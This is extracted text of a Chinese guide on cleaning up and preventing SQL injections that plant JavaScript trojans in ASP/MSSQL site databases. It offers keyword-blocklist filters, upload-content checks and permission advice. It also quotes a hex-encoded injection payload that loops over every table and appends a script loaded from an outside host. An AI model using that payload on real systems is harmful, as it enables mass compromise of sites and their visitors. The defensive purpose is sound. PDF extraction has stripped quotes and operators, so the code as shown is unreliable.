2022年网站数据库被挂js木马 .pdf
关于最近各中小网站数据库被注入各种javascript代码的问题!本人目前解决法!但不完善,还没搞懂攻击原理及病毒特性。有 条件 的 朋 友建 议找 专业 的 Sine安 全 小 组解 决 网 站 挂 马。官 方 站 点www.SineS特征:数据库各表凡是字段长度超过50 的都被在字符串末端注入 或,并且是不断的注入,一天能注入很多次,目前发现 3 种注入的 js 代码。本人初期也跟各种介绍一样疯狂加防注入的关键词,可无济于事,根本就不管用,反复检查服务器无异样,网站接二连三的被挂掉,然后只能updae,最后只能给数据库用户开只读权限来防止注入,但是问题还没完,后来发现在用户登录管理系统的时候无法登录,于是发现数据库用户系统表的密码等列被注入(其他的表没事),只读权限也能注入么?怀疑sa 的用户名密码被破解,于是换了一遍密码,但还是不行继续被注入。然后开始在各论坛上找解决方法,在本论坛上看到大家有各种解决方法,于是尝试、思考、然后发现了些问题,自己更改了一下防注入代码及网站程序,48 个小时没出问题了,先拿来与大家分享。asp 网站1、防注入 get 方式要加对 Request.QueryString长度的判断此方法比较管用。If Len(Request.QueryString)80 then Response.End()2、防注入Post 方式要加对来源地址的判断,防止外部提交,虽然目前攻击是get 方式,但防止再次变种攻击。3、防注入要加清空客户端Cookies 代码,发现凡是访问过被注入网站的客户端的 Cookies 信息被篡改,javascript代码被加入其中,用Cookies 的网站基本的被挂,清空 Cookies 也不管用,照样有!最好也加上 Cookies 防注入。清空客户端 Cookies For each cookie in Request.Cookies response.cookies(cookie)=next 4、建议将网站用 Cookies 的兄弟们将程序改为Session 的,虽然 iis用 Session会不稳定,但安全第一5、安装 urlscan 3.0 设置一下对服务器有益无害,防止今后变种攻击引发的问题。还有希望瑞星能帮忙查查问题,为什么客户端清空Cookies 也不管用?个人名师资料总结-精品资料欢迎下载-名师精心整理-第 1 页,共 8 页 -觉得凡是访问过被挂网站都会有此问题,也许是病毒,杀毒软件也不报病毒。下边是我的防注入,分享个大家,将代码文件 include到数据库连接文件后,希望大家有建议的帮帮更改一下%Fy_In=|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|varchar|text|ntext|nvarchar|declare|exe|truncate|is_srvrolemember Fy_Inf=split(Fy_In,|)-POST部份-If Request.Form Then SiteDomain= URL=Request.ServerVariables(HTTP_REFERER)if URL then URLDomain=Split(URL,/)(2)if instr(URLDomain,SiteDomain)=0 then Response.Redirect(&SiteDomain&)else Conn.Close Set Conn=Nothing Response.Redirect(&SiteDomain&)end if For Each Fy_Post In Request.Form For Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.Form(Fy_Post),Fy_Inf(Fy_Xh)0 Then Action_Type=CanShu=Fy_Post Data=Trim(Request.Form(Fy_Post)Call Alert(Action_Type,CanShu,Data)End If Next Next End If-GET部份-If Len(Request.QueryString)80 then Action_Type=CanShu=超过允许长度 Data=Request.QueryString 名师资料总结-精品资料欢迎下载-名师精心整理-第 2 页,共 8 页 -Call Alert(Action_Type,CanShu,Data)end if If Request.QueryString Then For Each Fy_Get In Request.QueryString For Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.QueryString(Fy_Get),Fy_Inf(Fy_Xh)0 Then Action_Type=CanShu=Fy_Get Data=Trim(Request.QueryString(Fy_Get)Call Alert(Action_Type,CanShu,Data)End If Next Next End If-Cookies部份-For each cookie in Request.Cookies response.cookies(cookie)=next If Len(Request.Cookies)80 then Action_Type=CanShu=超过允许长度 Data=Request.Cookies Call Alert(Action_Type,CanShu,Data)end if If Request.Cookies Then For Each Fy_Cookies In Request.Cookies For Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.Cookies(Fy_Cookies),Fy_Inf(Fy_Xh)0 Then Action_Type=CanShu=Fy_Cookies Data=Trim(Request.Cookies(Fy_Cookies)Call Alert(Action_Type,CanShu,Data)End If Next Next End If Function Alert(Action_Type,CanShu,Data)ip=Request.ServerVariables(HTTP_X_FORWARDED_FOR)If ip=Then ip=Request.ServerVariables(REMOTE_ADDR)Conn.Execute(insert into Fg_SQL_Safe(Ip,Time,URL,Action_Type,CanShu,Data)values(&ip&,&Now()&,&Request.ServerVariables(URL)&,&A名师资料总结-精品资料欢迎下载-名师精心整理-第 3 页,共 8 页 -ction_Type&,&CanShu&,&Replace(Data,)&)Conn.Close Set Conn=Nothing Response.Redirect http:/ Response.End()End Function%数据库建表代码SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO SET ANSI_PADDING ON GO CREATE TABLE dbo.SQL_Safe(id int IDENTITY(1,1)NOT NULL,Ip varchar(20)NULL,Time datetime NULL,URL varchar(100)NULL,Action_Type varchar(20)NULL,CanShu varchar(50)NULL,Data ntext NULL,CONSTRAINT PK_SQL_Safe PRIMARY KEY CLUSTERED (id ASC)WITH(PAD_INDEX=OFF,STATISTICS_NORECOMPUTE=OFF,IGNORE_DUP_KEY=OFF,ALLOW_ROW_LOCKS=ON,ALLOW_PAGE_LOCKS=ON)ON PRIMARY)ON PRIMARY TEXTIMAGE_ON PRIMARY GO SET ANSI_PADDING OFF-在 sql 查询分析器里可以执行以下的代码批量替换js 代码:“update 表名set 字段名=replace(字段名,)”flymorn 仔细检查了网站,发现网站存在几个安全问题:第一,网站存在上传漏洞;虽然,上传文件需要管理员身份验证,也对上传文件名师资料总结-精品资料欢迎下载-名师精心整理-第 4 页,共 8 页 -进行了文件格式的认证,但管理员身份验证采用了cookies,而 cookies 是可以被伪造的,而且如果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。解决措施:1 删除上传文件功能(不太实际);2 修改上传用户验证为session验证;3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码:=判断上传文件是否含非法字符串start=set MyFile=server.CreateObject(Scripting.FileSystemObject)set MyText=MyFile.OpenTextFile(Server.mappath(filePath),1)读取文本文件sTextAll=lcase(MyText.ReadAll)MyText.close set MyFile=nothing sStr=%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language=sNoString=split(sStr,|)for i=0 to ubound(sNoString)if instr(sTextAll,sNoString(i)then set filedel=server.CreateObject(Scripting.FileSystemObject)filedel.deletefile Server.mappath(filePath)set filedel=nothing Response.Write(alert(您 上 传 的 文 件 有 问 题,上 传 失 败!);history.back();)Response.End end if next=判断上传文件是否含非法字符串end=第二,网站存在 cookies 注入漏洞。由于程序设计中,为了考虑到减小服务器的开销,所有用户登陆后采用cookies 验证,这个 cookies 里保存了用户的 ID 和 NAME,而众所周知,cookies 是经常被黑客伪造的,这是其一;另外,某些外部参数没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request(id)这样的方式。我们知道,ASP 的 request 是先从 form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了request.form 和request.querystring 的 SQL 注入,所 以 一般 都会 过滤request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies 方式下的注入。我们来看下下面这样的sql 语句:名师资料总结-精品资料欢迎下载-名师精心整理-第 5 页,共 8 页 -SQL=select*from 表名 where id=&request(id)如果这个 id 恰巧是通过 cookies 来获取值的,那么想想,这是一件多么可怕的事啊!注入者可以轻松的伪造一个名为 id 的虚假 cookies,因为这个 id 的cookies 是服务器分配给它的。这个 cookies 可以被伪造成类似下面这样的一段代码:dEcLaRe s vArChAr(4000);sEt s=cAsT(0 x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6 15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT 人才网(http:/)12e6e416d452c622e6e416d 43d622e6 94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3 335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375 72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768 696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742 b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275 d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537 352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6 37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4 3615465207441624c655f637572736f520d0a aS vArChAr(4000);exec(s);-看晕了吧。这是利用HEX的方式进行 SQL注入,可以绕过一般的IDS验证,只要系统存在 SQL注入,上面的代码将会被执行,通过游标遍历数据库中的所有表和列并在列中插入js 代码。解决办法:1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request(name)这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在 sql 语句里进行查询数据库操作;2 重要的用户资料尽量采用 session 验证,因为 session 是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。可以采用以下的防范 get、post 以及 cookies 注入的代码来过滤 sql 注入攻击:名师资料总结-精品资料欢迎下载-名师精心整理-第 6 页,共 8 页 -%Response.Buffer=True 缓存页面 防范 get 注入If Request.QueryString Then StopInjection(Request.QueryString)防范 post 注入If Request.Form Then StopInjection(Request.Form)防范 cookies 注入If Request.Cookies Then StopInjection(Request.Cookies)正则子函数Function StopInjection(Values)Dim regEx Set regEx=New RegExp regEx.IgnoreCase=True regEx.Global=True regEx.Pattern=|;|#|(sb+()+(email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)/s/bselect|update|insert|delete|declare|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)sb/email+*)Dim sItem,sValue For Each sItem In Values sValue=Values(sItem)If regEx.Test(sValue)Then Response.Write alert(非法注入!你的行为已被记录!);history.back(-1);Response.End End If Next Set regEx=Nothing End function%把以上的代码另存为一个文件,如 antisql.asp,然后在数据库连接文件开头包含这个文件 ,就可以实现全站的防范 sql 注入的攻击了。第三,严格过滤外部提交数据。判断提交页面的来源,如果不是当前站点,则拒绝提交。可以参考以下的代码,虽然来源网址可以伪造,但有这样的判断,毕竟可以阻挡那些没有技术含量的恶意提交:名师资料总结-精品资料欢迎下载-名师精心整理-第 7 页,共 8 页 -%判断来源,禁止外部提交dim server_v1,server_v2 server_v1=Cstr(Request.ServerVariables(HTTP_REFERER)server_v2=Cstr(Request.ServerVariables(SERVER_NAME)if server_v1=or instr(server_v1,发表页面名)=0 or mid(server_v1,8,len(server_v2)server_v2 then response.write alert(来源非法,禁止外部提交!);response.write this.location.href=vbscript:history.back();response.end end if%第四,做好服务器权限的分配。对于数据库的权限,尽量分配最小的权限给用户使用,如果把sa 或管理员的权限分下来,一旦被攻击沦陷,这将是一个毁灭性的打击。mssql 的 1433 端口,飘易建议不用的时候,最好关闭。总之,安全问题是一个综合的问题,一个小的细节,可能让你的几个月甚至几年的心血付之东流。我们不仅要从程序上着手每个细节,而且要仔细做好服务器的安全工作,对于虚拟主机的用户,还要防范服务器上的跨站攻击。细节决定成败-网站是 ASP的,数据库是 MSSQL2000 的,经常被注入下面的字符。这现象说明了网站的ASP 程序有注入漏洞,要解决该问题,必须在保存到数据库前,进行过滤,还有表单提交过滤,网址过滤。另外,通过检查日志文件查找漏洞原因然后及时修补修补好后再用正则表达式替换掉 同时,可以在服务器的IIS 中,找到这个被挂马的网站属性,主目录中 配置中-找到.asp及.aspx 的影射,将里面的中的HEAD 操作与 TRACE 操作删除,只保留 GET 与 POST 就可以解决,注意删除HEAD 操作与 TRACE 操作完全不会影响正常的网站访问.正常的网站并不需要这两个操作。您是否因为网站和服务器天天被入侵攻击、挂马等问题连放弃做站的想法都有过呢?您是否为小小的技术问题而耽误网站的运营,失去了大量的客户呢?把这些都交给Sine 安全来做。从此不再烦恼!本文来自http:/ 名师资料总结-精品资料欢迎下载-名师精心整理-第 8 页,共 8 页 -